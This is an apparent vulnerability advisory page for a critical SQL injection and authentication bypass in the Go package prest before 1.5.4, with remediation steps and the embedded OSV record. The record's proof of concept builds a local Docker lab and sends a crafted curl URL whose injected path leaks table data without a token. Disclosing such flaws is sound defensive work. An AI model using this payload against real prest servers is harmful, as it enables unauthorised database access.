GHSA-wm25-j4gw-6vr3: Github.com/prest/prest SQL Injection Vulnerability
CRITICALGHSA-wm25-j4gw-6vr3 is a CRITICAL (CVSS 9.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Github.com/prest/prest libraries in the Go ecosystem. The issue involves prest vulnerable to jwt bypass + sql injection. Remediation is available by upgrading affected packages to version 1.5.4.
GHSA-wm25-j4gw-6vr3 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix GHSA-wm25-j4gw-6vr3
To remediate this vulnerability, upgrade all affected Github.com/prest/prest dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/prest/prest to 1.5.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/prest/prest
How to Check if You Are Affected
To determine whether your application is affected by GHSA-wm25-j4gw-6vr3, inspect your project dependencies for Github.com/prest/prest:
inspect dependencies for github.com/prest/prest
Analyze the terminal output to locate any version of Github.com/prest/prest in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.4), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Github.com/prest/prest, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-wm25-j4gw-6vr3 Affected Github.com/prest/prest Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/prest/prest
|
Go |
< 1.5.4
|
1.5.4
|
References
Frequently Asked Questions
What is GHSA-wm25-j4gw-6vr3?
Which Github.com/prest/prest versions are affected?
What version fixes GHSA-wm25-j4gw-6vr3?
Is github.com/prest/prest affected?
What is the CVSS score of GHSA-wm25-j4gw-6vr3?
What CWE is associated with GHSA-wm25-j4gw-6vr3?
How can I check Go dependencies for GHSA-wm25-j4gw-6vr3?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wm25-j4gw-6vr3",
"modified" : "2024-08-07T14:16:28Z",
"published" : "2024-07-30T15:04:26Z",
"aliases" : [ ],
"summary" : "pREST vulnerable to jwt bypass + sql injection",
"details" : "### Summary\nProbably jwt bypass + sql injection\nor what i'm doing wrong?\n\n### PoC (how to reproduce)\n\n1. Create following files:\n\ndocker-compose.yml:\n```\nservices:\n postgres:\n image: postgres\n container_name: postgres_container_mre\n environment:\n POSTGRES_USER: test_user_pg\n POSTGRES_PASSWORD: test_pass_pg\n POSTGRES_DB: test_db\n prest:\n image: prest/prest\n build: .\n volumes:\n - ./queries:/queries\n - ./migrations:/migrations\n ports:\n - \"3000:3000\"\n```\n\nDockerfile:\n```\nfrom prest/prest:latest\n\nCOPY ./prest.toml prest.toml\n```\n\nprest.toml:\n```\ndebug=false\nmigrations = \"./migrations\"\n\n[http]\nport = 3000\n\n[jwt]\ndefault = true\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = true\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nURL = \"postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable\"\n\n[ssl]\nmode = \"disable\"\nsslcert = \"./PATH\"\nsslkey = \"./PATH\"\nsslrootcert = \"./PATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"/queries\"\n```\n\n\n2. run commands:\n\n```\nmkdir -p migrations queries\ndocker compose up --build -d\n```\nwait for pg and prest, then run following to add test data to the pg:\n\n```\nexport PGPASSWORD=test_pass_pg\ndocker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c \"CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\\\nINSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;\"\n```\n\n3. SQL injection even without jwt token:\n```\ncurl --location '127.0.0.1:3000/test_db/public\".some_table)%20s;--/auth'\n```\noutput:\n```\n[{\"id\": 1, \"secret_data\": \"some secret text\"}]\n```\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/prest/prest"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.5.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/prest/prest/security/advisories/GHSA-wm25-j4gw-6vr3"
}, {
"type" : "WEB",
"url" : "https://github.com/prest/prest/commit/96ff96cfdc7ad6dd86e2289fcd5a37ee70c8926e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/prest/prest"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2024-3011"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287", "CWE-89" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2024-07-30T15:04:26Z",
"nvd_published_at" : null
}
}